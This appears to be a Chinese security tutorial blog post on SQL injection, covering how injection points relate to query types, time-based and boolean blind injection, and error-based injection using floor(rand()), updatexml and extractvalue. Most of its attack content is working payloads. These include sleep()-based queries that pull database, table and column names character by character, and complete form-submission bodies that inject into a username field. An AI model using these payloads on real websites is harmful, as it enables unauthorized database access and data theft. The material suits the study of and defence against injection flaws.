WBE漏洞-SQL注入之报错盲注

前言

当进行SQL注入时,有很多注入会出现无回显的情况,其中不回显的原因可能是SQL语句查询方式的问题导致,这个时候我们需要用到相关的报错或盲注进行后续操作,同时作为手工注入时,提前了解或预知其SQL语句大概写法也能更好地选择对应的注入语句。

在这里插入图片描述

涉及知识点

select 查询数据
在网站应用中进行数据显示查询效果
例: select * from news wher id=$id

insert 插入数据
在网站应用中进行用户注册添加等操作
例:insert into news(id,url,text) values(2,‘x’,’$t’)

delete 删除数据
后台管理里面删除文章删除用户等操作
例:delete from news where id=$id

update 更新数据
会员或后台中心数据同步或缓存等操作
例:update user set pwd=’$p’ where id=2 and username=‘admin’

order by 排列数据
一般结合表名或列名进行数据排序操作
例:select * from news order by $id
例:select id,name,price from news order by $order

重点理解:
我们可以通过以上查询方式与网站应用的关系去猜测注入点产生地方或应用猜测到对方的SQL查询方式。

新知识点:
xpath报错注入(extractvalue和updatexml)
floor()知识

like ‘ro%’ #判断ro或ro…是否成立
like ‘ro_’ #判断ro+一个字符是否成立
regexp ‘[1-z]’ #匹配xiaodi及xiaodi…等
MySQL REGEXP:正则表达式查询
if(条件,5,0) #条件成立,返回5,反之,返回0
sleep(5) #SQL语句延时执行5秒
mid(a,b,c) #从位置B开始,截取a字符串的c位,c可选,默认剩下
substr(a,b,c) #从位置B开始,截取a字符串的c位
在这里插入图片描述
在这里插入图片描述
left(database(),1) #left(a,b)从左侧截取a的前b位
length(database())=8 #判断数据库database()名的长度ascii(x)=97 #判断x的ascii码是否等于97
在这里插入图片描述

SQL注入报错盲注

盲注就是在注入过程中,获取的数据不能回显至前端页面。此时,我们需要利用一些方法进行半段或者尝试,这个过程称之为盲注。我们可以知道盲注分为以下三类:

基于布尔的SQL盲注-逻辑判断

(不需要回显信息就能看到)(2)
regexp,like,ascii或ord,left,,mid

基于时间的SQL盲注-延时判断

(不需要回显信息就能看到)(3)
通过延迟进而加载页面判断猜想是否正确
sleep()延时函数
在这里插入图片描述

if(a,b,c)条件判断函数
在这里插入图片描述
在这里插入图片描述
注入步骤
先用length(database())判断当前数据库长度
在这里插入图片描述
可以用bp进行参数爆破

猜数据库名字

select if(database() like 'p%',sleep(5),0) from member limit 0,1;

在这里插入图片描述
要加limit 0,1噢,不能的话他会一个个数据去比对的

或用substr函数

select if(substr(database(),1,1)='p',sleep(5),0) from member limit 0,1;

在这里插入图片描述
再加个ascii函数,因为工具的暴力破解的参数都是基于数据的,所以用数字来判断会好些

select if(ascii(substr(database(),1,1))=112,sleep(5),0) from member limit 0,1;

在这里插入图片描述
注意,可以用二分法进行比对,利用>符号判断ascii,大于的话说明比112大,范围在112-255之间,小于的话说明比112小,范围在0-112之间
找数据库名字的第二个字符

select if(ascii(substr(database(),2,1))=105,sleep(5),0) from member limit 0,1;

在这里插入图片描述
以此类推,找出数据库完整名字

找表

select if(ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))=104,sleep(5),0) from member limit 0,1;

在这里插入图片描述
更改substr(1,1)为substr(1,2)继续找第一个数据表名字的第二个字符
更改limit 0,1为limit1,1继续找第二个数据库表

属性列

select if(ascii(substr((select column_name from information_schema.columns where table_schema=database() and table_name='users' limit 0,1),1,1))=105,sleep(5),0) from member limit 0,1;

在这里插入图片描述

其实以上手工是很难注入的,因为情况实在是太多了,可以进行半手动半工具进行爆破,也可以直接使用sqlmap工具进行爆破

and if(ascii(substr(database(),1,1))=115,sleep(5),1)–+
and if(ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))=101,sleep(3),0)–+

if,sleep

基于报错的SQL盲注-报错回显

(优先于选择:1)

floor

1

username=x' or(select 1 from(select count(*),concat((select(select (select concat(0x7e,database(),0x7e))) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a)  or '
&password=xiaodi&sex=%E7%94%B7&phonenum=13878787788&email=wuhan&add=hubei&submit=submit

2

username=x' and(select 1 from(select count(*),concat((select(select (select concat(0x7e,database(),0x7e))) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a)  and '
&password=xiaodi&sex=%E7%94%B7&phonenum=13878787788&email=wuhan&add=hubei&submit=submit

有可能会出现如下错误可用第二种payload

Truncated incorrect DOUBLE value: 'x'

核心payload

select 1 from(select count(*),concat((select(select (select concat(0x7e,database(),0x7e))) from information_schema.tables limit 0,1),floor(rand(0)*2))b from information_schema.tables group by x)a

需更换地方只有database(),其他为固定格式
逐一拆解代码

floor(rand(0)*2)
concat(0x7e,database(),0x7e)
count(*)
concat((select(select (select concat(0x7e,database(),0x7e))) from information_schema.tables limit 0,1),floor(rand(0)*2))b

临时表a

select count(*),concat((select(select (select concat(0x7e,database(),0x7e))) from information_schema.tables limit 0,1),floor(rand(0)*2))b from information_schema.tables group by x

注意:select(concat0x7e,database(),0x7e)将返回的消息用~标注,方便查看,也是为了开发工具能够一下识别出来,直接select database()也是可以的

updatexml

username=x ’ or updatexml(1,concat(0x7e,(version())),0) or ’ &password=xiaodi&sex=%E7%94%B7&phonenum=13878787788&email=wuhan&add=hubei&submit=submit

extractvalue

username=x ’ or extractvalue(1,concat(0x7e,database())),0) or ’ &password=xiaodi&sex=%E7%94%B7&phonenum=13878787788&email=wuhan&add=hubei&submit=submit

  • 2
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值